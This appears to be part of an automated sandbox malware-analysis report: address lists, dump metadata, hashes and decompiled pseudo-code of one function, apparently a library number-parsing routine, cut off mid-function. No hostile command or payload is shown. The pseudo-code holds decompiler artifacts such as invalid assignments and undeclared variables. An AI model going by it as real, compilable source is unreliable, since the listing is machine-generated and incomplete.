0x00000000
0x0046169b
0x004610ef
0x004610f2
0x004610f6
0x004610fd
0x00460cc1
0x00460cc1
0x00460cc4
0x00460cc7
0x00460cca
0x00460f78
0x00460f7a
0x00460f7d
0x00460cd6
0x00460cd6
0x00460cdb
0x00460cdf
0x00000000
0x00460cdf
0x00460cd0
0x00460cd0
0x00460cd0
0x00460cd3
0x00000000
0x00460cd3
0x00460c56
0x00460c59
0x00460c5d
0x00460c5f
0x00460c61
0x00461645
0x00000000
0x00461645
0x00460c67
0x00460c6b
0x00000000
0x00000000
0x00460c71
0x00460c75
0x0046164c
0x00000000
0x0046164c
0x00460c7b
0x00460c7e
0x00460c80
0x0046163e
0x00000000
0x0046163e
0x00460c86
0x00460c89
0x00460c8c
0x00460c8f
0x00460c92
0x00460c94
0x00460c99
0x00460c99
0x00460c9c
0x00460ca0
0x00460ca2
0x004610b3
0x004610bb
0x004610be
0x004610c6
0x004610ce
0x004610d1
0x004610d6
0x004610d9
0x004610d9
0x00460ca8
0x00460cac
0x00460cb3
0x00460cb6
0x00460cb9
0x00460cbc
0x00000000
0x00460cbc
0x00460f20
0x00460f23
0x00460f28
0x00460f2b
0x00460f2d
0x00460f30
0x00460f34
0x00460f37
0x00460f37
0x00460f3a
0x00460f3d
0x00460f40
0x00460f47
0x00460f4b
0x00460f4d
0x00461085
0x0046108d
0x00461090
0x00461098
0x004610a0
0x004610a3
0x004610a8
0x004610ab
0x004610ab
0x00460f53
0x00460f57
0x00460f5b
0x00460f5e
0x00460f61
0x00460f64
0x00460f69
0x00460f6c
0x00460f6f
0x00460f72
0x00000000
0x00000000
0x00000000
0x00000000
0x00460f85
0x00460f85
0x00460f88
0x00460f8b
0x0046143c
0x00460f91
0x00460f91
0x00460f91
0x00460f94
0x00460f96
0x00460f9a
0x00000000
0x00460fa0
0x00460fa0
0x00460fa2
0x00460fa4
0x00460fab
0x00460fad
0x00000000
0x00000000
0x00000000
0x00460fad
0x00460f9a
0x00000000

Strings

-, xrefs: 004612BD

Memory Dump Source

Source File: 00000000.00000002.249347391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249341615.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249587762.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249592337.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250558409.0000000000528000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250768536.000000000052A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251207004.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251925946.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251933608.0000000000581000.00000020.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w5OsHBiADi.jbxd

Similarity

API ID: memcpy
String ID: -
API String ID: 3510742995-2547889144
Opcode ID: 7b4ab4278b2e4ec0da95ce8dd5678fcf2852f5461106b74238c087699b7fe73a
Instruction ID: 544c05eece7c31ce6654d7a0f5440e3d5b39952f59de4d0cb7945979681b2690
Opcode Fuzzy Hash: 7b4ab4278b2e4ec0da95ce8dd5678fcf2852f5461106b74238c087699b7fe73a
Instruction Fuzzy Hash: 10726D749003198FCB14DF68C1907AEBBB1BF05314F18855AE8499F3A1E779ED86CB86

Uniqueness

Uniqueness Score: -1.00%

Function 0045FC90 Relevance: 2.1, Strings: 1, Instructions: 859
COMMONCrypto

Download Yara Rule

C-Code - Quality: 44%

			E0045FC90(void* __eflags, signed int _a4, signed int _a8, signed int _a12, short _a16, signed int _a20, signed int* _a24, intOrPtr _a28) {
				void* _v16;
				void _v44;
				signed int _v48;
				signed int _v52;
				void _v68;
				signed int _v72;
				signed int _v76;
				signed char _v77;
				char _v78;
				char _v80;
				char _v81;
				signed short _v96;
				signed int _v100;
				signed int _v104;
				signed int _v108;
				signed char _v112;
				signed char _v113;
				char _v114;
				signed char _v115;
				signed int _v120;
				intOrPtr _v124;
				signed int _v128;
				signed int _v132;
				signed int _v136;
				signed int* _v156;
				signed int _v160;
				void* _v164;
				void* _v168;
				void* _v172;
				signed int __ebx;
				signed int __edi;
				signed int __esi;
				void* __ebp;
				signed int _t427;
				signed int _t428;
				signed int _t433;
				signed int _t435;
				signed int _t441;
				signed int _t444;
				signed int* _t448;
				signed int _t450;
				signed char _t451;
				signed int* _t452;
				signed int _t455;
				signed int _t462;
				signed int* _t463;
				signed int _t466;
				signed int _t470;
				signed int _t472;
				signed int _t474;
				signed int _t476;
				signed short* _t477;
				signed int _t479;
				signed int _t480;
				signed short* _t481;
				signed short* _t485;
				signed short* _t487;
				signed int _t508;
				signed int* _t515;
				signed int* _t516;
				signed int _t523;
				intOrPtr* _t524;
				intOrPtr* _t525;
				signed short _t532;
				signed int _t540;
				signed int _t543;
				signed int _t546;
				signed int _t547;
				void* _t549;
				void* _t550;
				void* _t552;

				_t536 = _a20 + 0x6c;
				_v156 = _t536;
				_v132 = E004C0980(__eflags);
				_t540 = E004522B0(0x529730);
				_t508 =  *((intOrPtr*)( *(_a20 + 0x6c) + 0xc)) + _t540 * 4;
				_t427 =  *_t508;
				_v104 = _t427;
				if(_t427 == 0) {
					_t428 = E004C3430(0x54);
					 *(_t428 + 4) = 0;
					 *_t428 = 0x53e674;
					 *(_t428 + 8) = 0;
					 *(_t428 + 0xc) = 0;
					 *((char*)(_t428 + 0x10)) = 0;
					 *(_t428 + 0x12) = 0;
					 *(_t428 + 0x18) = 0;
					 *(_t428 + 0x1c) = 0;
					 *(_t428 + 0x20) = 0;
					 *(_t428 + 0x24) = 0;
					 *(_t428 + 0x28) = 0;
					 *(_t428 + 0x2c) = 0;
					 *(_t428 + 0x30) = 0;
					 *(_t428 + 0x34) = 0;
					 *(_t428 + 0x38) = 0;
					 *((char*)(_t428 + 0x52)) = 0;
					_v156 = _t536;
					_t536 = _t428;
					_v100 = _t428;
					E004AAFB0(_t428, __eflags);
					_v156 = _t540;
					_v160 = _t428;
					E004AD8F0( *(_a20 + 0x6c));
					_t550 = _t550 - 0xfffffffffffffffc;
					_v104 =  *_t508;
				}
				_t433 = _v104;
				_v124 = _t433 + 0x3c;
				if( *((intOrPtr*)(_t433 + 0x24)) != 0) {
					_t435 = _v104;
					__eflags =  *(_t435 + 0x2c);
					_v115 =  *(_t435 + 0x2c) != 0;
				} else {
					_v115 = 0;
				}
				_v72 = 0;
				_v76 =  &_v68;
				_v68 = 0;
				if( *((char*)(_v104 + 0x10)) != 0) {
					_v156 = 0x20;
					E004B2380( &_v76);
					_t550 = _t550 - 4;
				}
				_v156 = 0x20;
				_v52 =  &_v44;
				_v48 = 0;
				_v44 = 0;
				E004B2380( &_v52);
				_t441 = _v104;
				_v120 = 1;
				_t552 = _t550 - 4;
				_v113 = 0;
				_v114 = 0;
				_v108 = _t441 + 0x3e;
				_v80 =  *((intOrPtr*)(_t441 + 0x38));
				_t444 =  &_v81 + _v120;
				_v100 = 0;
				_v136 = 0;
				_v128 = 0;
				if( *_t444 > 4) {
					L119:
					_t508 = 0;
					__eflags = 0;
					L120:
					_t543 = 1;
					L116:
					__eflags = _v120 - 3;
					if(_v120 > 3) {
						L9:
						if(((_t444 & 0xffffff00 | _v128 - 0x00000001 > 0x00000000) & _t543) == 0) {
							__eflags = _t543;
							if(_t543 == 0) {
								L95:
								_t448 = _a24;
								 *_t448 =  *_t448 | 0x00000004;
								__eflags =  *_t448;
								L96:
								_v156 =  &_a12;
								_t450 = E00450BD0( &_a12,  &_a4, _t531);
								__eflags = _t450;
								if(_t450 != 0) {
									_t452 = _a24;
									 *_t452 =  *_t452 | 0x00000002;
									__eflags =  *_t452;
								}
								_t515 = _v52;
								_t451 = _a4;
								_t532 = _a8;
								__eflags = _t515 -  &_v44;
								if(_t515 !=  &_v44) {
									_v156 = _t515;
									_v100 = _t451;
									_v96 = _t532;
									L004C33F0();
									_t451 = _v100;
									_t532 = _v96;
								}
								_t516 = _v76;
								__eflags = _t516 -  &_v68;
								if(_t516 !=  &_v68) {
									_v156 = _t516;
									_v100 = _t451;
									_v96 = _t532;
									L004C33F0();
									_t451 = _v100;
								}
								return _t451;
							}
							__eflags = _v48 - 1;
							if(_v48 <= 1) {
								L147:
								__eflags = _v114;
								if(_v114 != 0) {
									__eflags =  *_v52 - 0x30;
									if( *_v52 != 0x30) {
										 *((intOrPtr*)(_t552 + 0xc)) = 0x2d;
										 *(_t552 + 8) = 1;
										 *(_t552 + 4) = 0;
										_v156 = 0;
										E004B0DA0(_t508,  &_v52, _t536, _t543, _t549);
										_t552 = _t552 - 0x10;
									}
								}
								__eflags = _v72;
								if(_v72 != 0) {
									_t531 = _v136;
									__eflags = _v113;
									_t457 =  !=  ? _v136 : _v100;
									_v156 =  !=  ? _v136 : _v100;
									E004B2860( &_v76);
									_t546 = _v104;
									_t552 = _t552 - 4;
									 *(_t552 + 8) =  &_v76;
									_v156 =  *((intOrPtr*)(_t546 + 0xc));
									_v160 =  *(_t546 + 8);
									_t462 = E004BE6E0();
									__eflags = _t462;
									if(_t462 == 0) {
										_t463 = _a24;
										 *_t463 =  *_t463 | 0x00000004;
										__eflags =  *_t463;
									}
								}
								__eflags = _v113;
								if(_v113 == 0) {
									L155:
									_v156 =  &_v52;
									E004B0F40(_a28);
									_t552 = _t552 - 4;
									goto L96;
								} else {
									_t455 = _v104;
									__eflags =  *((intOrPtr*)(_t455 + 0x30)) - _v100;
									if( *((intOrPtr*)(_t455 + 0x30)) != _v100) {
										goto L95;
									}
									goto L155;
								}
							}
							L177:
							 *(_t552 + 4) = 0;
							_v156 = 0x30;
							_t466 = E004552A0( &_v52);
							_t552 = _t552 - 8;
							__eflags = _t466;
							if(_t466 == 0) {
								goto L147;
							}
							_t531 = _v48;
							__eflags = _t466 - 0xffffffff;
							if(_t466 == 0xffffffff) {
								_t418 = _t531 - 1; // 0x0
								_t466 = _t418;
								__eflags = _t466 - 0xffffffff;
								if(_t466 == 0xffffffff) {
									 *_v52 = 0;
									goto L147;
								}
								__eflags = _t466;
								if(_t466 == 0) {
									goto L147;
								}
							}
							__eflags = _t466 - _t531;
							_v156 = 0;
							_t468 =  >  ? _t531 : _t466;
							 *(_t552 + 4) =  >  ? _t531 : _t466;
							E004B2480( &_v52);
							_t552 = _t552 - 8;
							goto L147;
						}
						_t470 = _v104;
						if(_v114 != 0) {
							_v108 =  *((intOrPtr*)(_t470 + 0x28));
						} else {
							_v108 =  *((intOrPtr*)(_t470 + 0x20));
						}
						_t472 = _a8 & 0x0000ffff;
						_t523 = _a4;
						_t536 = 1;
						while(1) {
							_t508 = _t508 & 0xffffff00 | _t472 == 0x0000ffff;
							_t474 = (_t472 & 0xffffff00 | _t523 != 0x00000000) & _t508;
							_t547 = _t474;
							if(_t474 != 0) {
								_t487 =  *(_t523 + 8);
								if(_t487 >=  *((intOrPtr*)(_t523 + 0xc))) {
									_t474 =  *((intOrPtr*)( *_t523 + 0x24))();
								} else {
									_t474 =  *_t487 & 0x0000ffff;
								}
								_t508 = 0;
								if(_t474 == 0xffff) {
									_a4 = 0;
									_t508 = _t547;
								}
							}
							_t524 = _a12;
							_t476 = (_t474 & 0xffffff00 | _t524 != 0x00000000) & (_t531 & 0xffffff00 | _a16 == 0x0000ffff);
							_t543 = _t476;
							if(_t476 != 0) {
								goto L141;
							}
							L14:
							if(_t508 == _t531) {
								L145:
								__eflags = _t536 - _v128;
								if(_t536 != _v128) {
									goto L95;
								}
								__eflags = _v48 - 1;
								if(_v48 > 1) {
									goto L177;
								}
								goto L147;
							}
							L15:
							if(_t536 >= _v128) {
								goto L145;
							}
							_t525 = _a4;
							_t480 = _a8 & 0x0000ffff;
							if(_t525 != 0 && _t480 == 0xffff) {
								_t485 =  *(_t525 + 8);
								__eflags = _t485 -  *((intOrPtr*)(_t525 + 0xc));
								if(_t485 >=  *((intOrPtr*)(_t525 + 0xc))) {
									_t480 =  *((intOrPtr*)( *_t525 + 0x24))();
								} else {
									_t480 =  *_t485 & 0x0000ffff;
								}
								__eflags = _t480 - 0xffff;
								if(_t480 == 0xffff) {
									_a4 = 0;
								}
							}
							if( *((intOrPtr*)(_v108 + _t536 * 2)) != _t480) {
								goto L95;
							} else {
								_t523 = _a4;
								_t481 =  *(_t523 + 8);
								if(_t481 >=  *((intOrPtr*)(_t523 + 0xc))) {
									 *((intOrPtr*)( *_t523 + 0x28))();
									_t523 = _a4;
								} else {
									 *(_t523 + 8) =  &(_t481[1]);
								}
								_t508 = 0xffffffff;
								_t536 = _t536 + 1;
								_t472 = 0xffffffff;
								_a8 = 0xffffffff;
								continue;
							}
							L141:
							_t477 =  *(_t524 + 8);
							__eflags = _t477 -  *((intOrPtr*)(_t524 + 0xc));
							if(_t477 >=  *((intOrPtr*)(_t524 + 0xc))) {
								_t479 =  *((intOrPtr*)( *_t524 + 0x24))();
							} else {
								_t479 =  *_t477 & 0x0000ffff;
							}
							_t531 = 0;
							__eflags = _t479 - 0xffff;
							if(_t479 != 0xffff) {
								goto L14;
							} else {
								_t531 = _t543;
								_a12 = 0;
								__eflags = _t508 - _t531;
								if(_t508 != _t531) {
									goto L15;
								}
								goto L145;
							}
						}
					}
					__eflags = _t508;
					if(_t508 != 0) {
						goto L9;
					}
					L118:
					_v120 = _v120 + 1;
					_t444 =  &_v81 + _v120;
					__eflags =  *_t444 - 4;
					if( *_t444 <= 4) {
						goto L6;
					}
					goto L119;
				}
				L6:
				_t444 =  *_t444 & 0x000000ff;
				switch( *((intOrPtr*)(_t444 * 4 +  &M00536188))) {
					case 0:
						_t543 = 1;
						goto L8;
					case 1:
						__esi =  &_a12;
						__ecx =  &_a4;
						__eax = E00450BD0(__eax, __ecx, __edx,  &_a12);
						__eflags = __al;
						if(__al == 0) {
							__edx = _a8 & 0x0000ffff;
							 &_a4 = E00450CC0( &_a4, _a8 & 0x0000ffff);
							__ecx = _v132;
							__eax = __ax & 0x0000ffff;
							__edx =  *__ecx;
							 *(__esp + 4) = __ax & 0x0000ffff;
							_v156 = 0x20;
							__eax =  *((intOrPtr*)(__edx + 8))();
							__esp = __esp - 8;
							__esi = __eax;
							__eflags = __al;
							if(__al == 0) {
								goto L71;
							}
							__ecx = _a4;
							__eax = E004A6690(__ecx);
							__eax = 0xffffffff;
							_a8 = __ax;
							L8:
							if(_v120 != 4) {
								L72:
								_t491 = _a8 & 0x0000ffff;
								_t526 = _a4;
								while(1) {
									__eflags = _t491 - 0xffff;
									_t508 = _t508 & 0xffffff00 | _t491 == 0x0000ffff;
									__eflags = _t526;
									_t493 = (_t491 & 0xffffff00 | _t526 != 0x00000000) & _t508;
									__eflags = _t493;
									_t538 = _t493;
									if(_t493 != 0) {
										_t505 =  *(_t526 + 8);
										__eflags = _t505 -  *((intOrPtr*)(_t526 + 0xc));
										if(_t505 >=  *((intOrPtr*)(_t526 + 0xc))) {
											_t493 =  *((intOrPtr*)( *_t526 + 0x24))();
										} else {
											_t493 =  *_t505 & 0x0000ffff;
										}
										_t508 = 0;
										__eflags = _t493 - 0xffff;
										if(_t493 == 0xffff) {
											_a4 = 0;
											_t508 = _t538;
										}
									}
									_t527 = _a12;
									_a16 - 0xffff = _t527;
									_t444 = (_t493 & 0xffffff00 | _t527 != 0x00000000) & (_t531 & 0xffffff00 | _a16 == 0x0000ffff);
									__eflags = _t444;
									_t536 = _t444;
									if(_t444 != 0) {
										_t495 =  *(_t527 + 8);
										__eflags = _t495 -  *((intOrPtr*)(_t527 + 0xc));
										if(_t495 >=  *((intOrPtr*)(_t527 + 0xc))) {
											_t444 =  *((intOrPtr*)( *_t527 + 0x24))();
										} else {
											_t444 =  *_t495 & 0x0000ffff;
										}
										_t531 = 0;
										__eflags = _t444 - 0xffff;
										if(_t444 == 0xffff) {
											_a12 = 0;
											_t531 = _t536;
										}
									}
									__eflags = _t508 - _t531;
									if(_t508 == _t531) {
										goto L115;
									}
									_t528 = _a4;
									_t497 = _a8 & 0x0000ffff;
									__eflags = _t528;
									if(_t528 != 0) {
										__eflags = _t497 - 0xffff;
										if(_t497 == 0xffff) {
											_t503 =  *(_t528 + 8);
											__eflags = _t503 -  *((intOrPtr*)(_t528 + 0xc));
											if(_t503 >=  *((intOrPtr*)(_t528 + 0xc))) {
												_t497 =  *((intOrPtr*)( *_t528 + 0x24))();
											} else {
												_t497 =  *_t503 & 0x0000ffff;
											}
											__eflags = _t497 - 0xffff;
											if(_t497 == 0xffff) {
												_a4 = 0;
											}
										}
									}
									_t531 =  *_v132;
									 *(_t552 + 4) = _t497 & 0x0000ffff;
									_v156 = 0x20;
									_t444 =  *((intOrPtr*)(_t531 + 8))();
									_t552 = _t552 - 8;
									__eflags = _t444;
									if(_t444 == 0) {
										goto L115;
									} else {
										_t526 = _a4;
										_t499 =  *(_t526 + 8);
										__eflags = _t499 -  *((intOrPtr*)(_t526 + 0xc));
										if(_t499 >=  *((intOrPtr*)(_t526 + 0xc))) {
											 *((intOrPtr*)( *_t526 + 0x28))();
											_t526 = _a4;
										} else {
											_t502 = _t499 + 2;
											__eflags = _t502;
											 *(_t526 + 8) = _t502;
										}
										_t491 = 0xffffffff;
										_a8 = 0xffffffff;
										continue;
									}
								}
								goto L115;
							}
							goto L9;
						}
						L71:
						__esi = 0;
						__eflags = _v120 - 4;
						if(_v120 == 4) {
							goto L9;
						}
						goto L72;
					case 2:
						__eax = _a20;
						__eflags =  *(__eax + 0xd) & 0x00000002;
						if(( *(__eax + 0xd) & 0x00000002) != 0) {
							L56:
							__eax = _v104;
							__ecx = _a4;
							__esi = 0;
							__eax =  *(_v104 + 0x1c);
							_v112 =  *(_v104 + 0x1c);
							__eax = _a8 & 0x0000ffff;
							while(1) {
								__eflags = __ax - 0xffff;
								__ebx = __ebx & 0xffffff00 | __ax == 0x0000ffff;
								__eflags = __ecx;
								__eax = __eax & 0xffffff00 | __ecx != 0x00000000;
								__al = __al & __bl;
								__eflags = __al;
								__edi = __eax;
								if(__al != 0) {
									__eax =  *(__ecx + 8);
									__eflags = __eax -  *((intOrPtr*)(__ecx + 0xc));
									if(__eax >=  *((intOrPtr*)(__ecx + 0xc))) {
										__eax =  *__ecx;
										__eax =  *((intOrPtr*)( *__ecx + 0x24))();
									} else {
										__eax =  *__eax & 0x0000ffff;
									}
									__ebx = 0;
									__eflags = __ax - 0xffff;
									if(__ax == 0xffff) {
										_a4 = 0;
										__ebx = __edi;
									}
								}
								__ecx = _a12;
								__eflags = _a16 - 0xffff;
								__edx = __edx & 0xffffff00 | _a16 == 0x0000ffff;
								__eflags = __ecx;
								__eax = __eax & 0xffffff00 | __ecx != 0x00000000;
								__al = __al & __dl;
								__eflags = __al;
								__edi = __eax;
								if(__al != 0) {
									__eax =  *(__ecx + 8);
									__eflags = __eax -  *((intOrPtr*)(__ecx + 0xc));
									if(__eax >=  *((intOrPtr*)(__ecx + 0xc))) {
										__eax =  *__ecx;
										__eax =  *((intOrPtr*)( *__ecx + 0x24))();
									} else {
										__eax =  *__eax & 0x0000ffff;
									}
									__edx = 0;
									__eflags = __ax - 0xffff;
									if(__ax != 0xffff) {
										goto L58;
									} else {
										__eflags = __esi - _v112;
										__edx = __edi;
										_a12 = 0;
										__eax = __eax & 0xffffff00 | __esi - _v112 > 0x00000000;
										__ebx = __ebx ^ __edx;
										__bl = __bl & __al;
										__eflags = __bl;
										if(__bl != 0) {
											L59:
											__eax = _a8 & 0x0000ffff;
											__ecx = _a4;
											__eflags = __ax - 0xffff;
											if(__ax == 0xffff) {
												__eflags = __ecx;
												if(__ecx != 0) {
													__eax =  *(__ecx + 8);
													__eflags = __eax -  *((intOrPtr*)(__ecx + 0xc));
													if(__eax >=  *((intOrPtr*)(__ecx + 0xc))) {
														__eax =  *__ecx;
														__eax =  *((intOrPtr*)( *__ecx + 0x24))();
													} else {
														__eax =  *__eax & 0x0000ffff;
													}
													__eflags = __ax - 0xffff;
													if(__ax == 0xffff) {
														_a4 = 0;
													}
												}
											}
											__edi = _v104;
											__edx =  *(__edi + 0x18);
											__eflags =  *((intOrPtr*)(__edx + __esi * 2)) - __ax;
											if( *((intOrPtr*)(__edx + __esi * 2)) != __ax) {
												L165:
												__eflags = __esi;
												if(__eflags != 0) {
													goto L95;
												}
												__eax = _a20;
												__eax =  *(_a20 + 0xc);
												_v112 = __eax;
												__eax = __eax & 0x00000200;
												__ebx = __ebx & 0xffffff00 | __eflags == 0x00000000;
												__esi = __ebx;
												__ebx = __ebx & 0xffffff00 | __eflags != 0x00000000;
												goto L116;
											}
											__ecx = _a4;
											__eax =  *(__ecx + 8);
											__eflags = __eax -  *((intOrPtr*)(__ecx + 0xc));
											if(__eax >=  *((intOrPtr*)(__ecx + 0xc))) {
												 *__ecx =  *((intOrPtr*)( *__ecx + 0x28))();
												__ecx = _a4;
											} else {
												__eax = __eax + 2;
												__eflags = __eax;
												 *(__ecx + 8) = __eax;
											}
											__edi = 0xffffffff;
											__esi = __esi + 1;
											__eflags = __esi;
											__eax = 0xffffffff;
											_a8 = __di;
											continue;
										}
										L164:
										__eflags = __esi - _v112;
										if(__esi == _v112) {
											goto L120;
										}
										goto L165;
									}
								}
								L58:
								__eflags = __esi - _v112;
								__eax = __eax & 0xffffff00 | __esi - _v112 > 0x00000000;
								__ebx = __ebx ^ __edx;
								__bl = __bl & __al;
								__eflags = __bl;
								if(__bl == 0) {
									goto L164;
								}
								goto L59;
							}
						}
						__edx = _v120;
						__eflags = _v128 - 1;
						__ebx = __ebx & 0xffffff00 | __eflags > 0x00000000;
						__edx = _v120 - 1;
						__eax = __eax & 0xffffff00 | __eflags == 0x00000000;
						__bl = __bl | __al;
						__eflags = __bl;
						if(__bl != 0) {
							goto L56;
						}
						__eflags = __edx - 1;
						if(__edx == 1) {
							__eflags = _v115;
							if(_v115 != 0) {
								goto L56;
							}
							__eflags = _v80 - 3;
							if(_v80 == 3) {
								goto L56;
							}
							__eflags = _v78 - 1;
							if(_v78 != 1) {
								goto L118;
							}
							goto L56;
						}
						__esi = 1;
						__eflags = __edx - 2;
						if(__edx != 2) {
							goto L116;
						}
						__eax = _v77 & 0x000000ff;
						__eflags = __al - 4;
						if(__al == 4) {
							goto L56;
						}
						__eflags = __al - 3;
						if(__al != 3) {
							goto L118;
						}
						__eflags = _v115;
						if(_v115 == 0) {
							goto L118;
						}
						goto L56;
					case 3:
						__eax = _v104;
						__esi =  *(__eax + 0x24);
						__eflags =  *(__eax + 0x24);
						if( *(__eax + 0x24) != 0) {
							__esi =  &_a12;
							__ecx =  &_a4;
							__ebx = __eax;
							__eflags = __al;
							if(__al == 0) {
								__edx = _a8 & 0x0000ffff;
								 &_a4 = E00450CC0( &_a4, _a8 & 0x0000ffff);
								__edi = _v104;
								__edx =  *(__edi + 0x20);
								__eflags =  *__edx - __ax;
								if( *__edx != __ax) {
									goto L132;
								}
								__eax =  *(__edi + 0x24);
								__ecx = _a4;
								_v128 =  *(__edi + 0x24);
								__eax = E004A6690(_a4);
								__ecx = 0xffffffff;
								__esi = 1;
								_a8 = __cx;
								goto L116;
							}
							L132:
							__eax = _v104;
							__ebx =  *(__eax + 0x2c);
							__eflags =  *(__eax + 0x2c);
							if( *(__eax + 0x2c) != 0) {
								L137:
								_v156 = __esi;
								__ecx =  &_a4;
								__eax = E00450BD0(__eax, __ecx, __edx);
								__esp = __esp - 4;
								__ebx = __eax;
								__eflags = __al;
								if(__al == 0) {
									__edx = _a8 & 0x0000ffff;
									 &_a4 = E00450CC0( &_a4, _a8 & 0x0000ffff);
									__esi = _v104;
									__edx =  *(__esi + 0x28);
									__eflags =  *( *(__esi + 0x28)) - __ax;
									if( *( *(__esi + 0x28)) != __ax) {
										goto L138;
									}
									__eax = _v104;
									__ecx = _a4;
									__eax =  *(_v104 + 0x2c);
									_v128 =  *(_v104 + 0x2c);
									__eax = E004A6690(__ecx);
									__eax = 0xffffffff;
									__esi = 1;
									_v114 = 1;
									_a8 = __ax;
									goto L116;
								}
								L138:
								__eax = _v104;
								__edx =  *(__eax + 0x24);
								__eflags = __edx;
								if(__edx == 0) {
									L48:
									__ebx = _v115 & 0x000000ff;
									__esi = __ebx;
									__esi = __ebx ^ 0x00000001;
									goto L116;
								}
								__eax = _v104;
								__eax =  *(_v104 + 0x2c);
								__eflags = __eax;
								if(__eax != 0) {
									goto L48;
								}
								L134:
								__ebx = 0;
								__esi = 1;
								_v114 = 1;
								goto L116;
							}
							__eax = _v104;
							__edx =  *(__eax + 0x24);
							__eflags = __edx;
							if(__edx == 0) {
								goto L48;
							}
							goto L134;
						}
						__eax = _v104;
						__esi =  &_a12;
						__eax =  *(_v104 + 0x2c);
						__eflags = __eax;
						if(__eax != 0) {
							goto L137;
						}
						goto L48;
					case 4:
						__edi = _v104;
						__eax = _a8 & 0x0000ffff;
						__ecx = _a4;
						__ebx = _v104 + 0x52;
						while(1) {
							L28:
							__eflags = __ax - 0xffff;
							__eax = __eax & 0xffffff00 | __ax == 0x0000ffff;
							__eflags = __ecx;
							__esi = __eax;
							__eax = __eax & 0xffffff00 | __ecx != 0x00000000;
							__edx = __esi;
							__al = __al & __dl;
							__eflags = __al;
							__edi = __eax;
							if(__al != 0) {
								__eax =  *(__ecx + 8);
								__eflags = __eax -  *((intOrPtr*)(__ecx + 0xc));
								if(__eax >=  *((intOrPtr*)(__ecx + 0xc))) {
									__eax =  *__ecx;
									__eax =  *((intOrPtr*)( *__ecx + 0x24))();
								} else {
									__eax =  *__eax & 0x0000ffff;
								}
								__esi = 0;
								__eflags = __ax - 0xffff;
								if(__ax == 0xffff) {
									_a4 = 0;
									__esi = __edi;
								}
							}
							__ecx = _a12;
							__eflags = _a16 - 0xffff;
							__edx = __edx & 0xffffff00 | _a16 == 0x0000ffff;
							__eflags = __ecx;
							__eax = __eax & 0xffffff00 | __ecx != 0x00000000;
							__al = __al & __dl;
							__eflags = __al;
							__edi = __eax;
							if(__al != 0) {
								goto L89;
							}
							L30:
							__eax = __esi;
							__eflags = __al - __dl;
							if(__al == __dl) {
								L93:
								__esi = 1;
								L94:
								__eax = _v48;
								__eflags = __eax;
								if(__eax != 0) {
									L115:
									_t508 = _t543 ^ 0x00000001;
									__eflags = _t508;
									goto L116;
								}
								goto L95;
							}
							L31:
							__ecx = _a4;
							__eax = _a8 & 0x0000ffff;
							__eflags = __ecx;
							if(__ecx != 0) {
								__eflags = __ax - 0xffff;
								if(__ax == 0xffff) {
									__eax =  *(__ecx + 8);
									__eflags = __eax -  *((intOrPtr*)(__ecx + 0xc));
									if(__eax >=  *((intOrPtr*)(__ecx + 0xc))) {
										 *__ecx =  *((intOrPtr*)( *__ecx + 0x24))();
									} else {
										__eax =  *__eax & 0x0000ffff;
									}
									__eflags = __ax - 0xffff;
									if(__ax == 0xffff) {
										_a4 = 0;
									}
								}
							}
							__edi = _v100;
							__edx = _v108;
							__ecx = __edi;
							while(1) {
								__eflags =  *__edx - __ax;
								if( *__edx == __ax) {
									break;
								}
								__edx = __edx + 2;
								__eflags = __edx - __ebx;
								if(__edx != __ebx) {
									continue;
								}
								__esi = _v104;
								_v100 = __ecx;
								__eflags =  *((intOrPtr*)(_v104 + 0x12)) - __ax;
								__edx = __edx & 0xffffff00 |  *((intOrPtr*)(_v104 + 0x12)) != __ax;
								__dl = __dl | _v113;
								__eflags = __dl;
								if(__dl == 0) {
									__eax = _v104;
									__eax =  *(_v104 + 0x30);
									__eflags = __eax;
									if(__eax <= 0) {
										_v113 = 0;
										goto L93;
									}
									__eax = _v100;
									_v113 = 1;
									_v100 = 0;
									_v136 = _v100;
									L43:
									__ecx = _a4;
									__eax =  *(__ecx + 8);
									__eflags = __eax -  *((intOrPtr*)(__ecx + 0xc));
									if(__eax >=  *((intOrPtr*)(__ecx + 0xc))) {
										L88:
										 *__ecx =  *((intOrPtr*)( *__ecx + 0x28))();
										__ecx = _a4;
										L45:
										__eax = 0xffffffff;
										_a8 = __ax;
										__eax = 0xffffffff;
										goto L28;
									}
									L44:
									__eax = __eax + 2;
									__eflags = __eax;
									 *(__ecx + 8) = __eax;
									goto L45;
								}
								__edi = _v104;
								__esi =  *(__edi + 0x10) & 0x000000ff;
								__ecx = __esi;
								__eflags = __cl;
								if(__cl == 0) {
									__esi = __edx;
									goto L94;
								}
								__eflags =  *((intOrPtr*)(__edi + 0x14)) - __ax;
								if( *((intOrPtr*)(__edi + 0x14)) != __ax) {
									goto L94;
								}
								__eflags = _v113;
								if(_v113 != 0) {
									__esi = _v113 & 0x000000ff;
									goto L94;
								}
								__eax = _v100;
								__eflags = _v100;
								if(_v100 == 0) {
									__esi = 0;
									goto L94;
								}
								__edx = _v76;
								__esi = _v72;
								_v100 = __al;
								__eax =  &_v68;
								__eflags = __edx -  &_v68;
								__eax = 0xf;
								_t109 = __esi + 1; // 0x1
								__edi = _t109;
								__eax =  !=  ? _v68 : 0xf;
								__eflags = __edi - ( !=  ? _v68 : 0xf);
								if(__edi > ( !=  ? _v68 : 0xf)) {
									 *(__esp + 0xc) = 1;
									__ecx =  &_v76;
									 *(__esp + 8) = 0;
									 *(__esp + 4) = 0;
									_v156 = __esi;
									__eax = E004B26D0( &_v76);
									__esp = __esp - 0x10;
									__edx = _v76;
								}
								__eax = _v100 & 0x000000ff;
								_v100 = 0;
								 *(__edx + __esi) = __al;
								__eax = _v76;
								_v72 = __edi;
								 *((char*)(_v76 + __esi + 1)) = 0;
								goto L43;
							}
							__edx = __edx - _v124;
							__eax =  *0x5295a8; // 0x538630
							_v100 = __ecx;
							__edx = __edx >> 1;
							__esi = _v48;
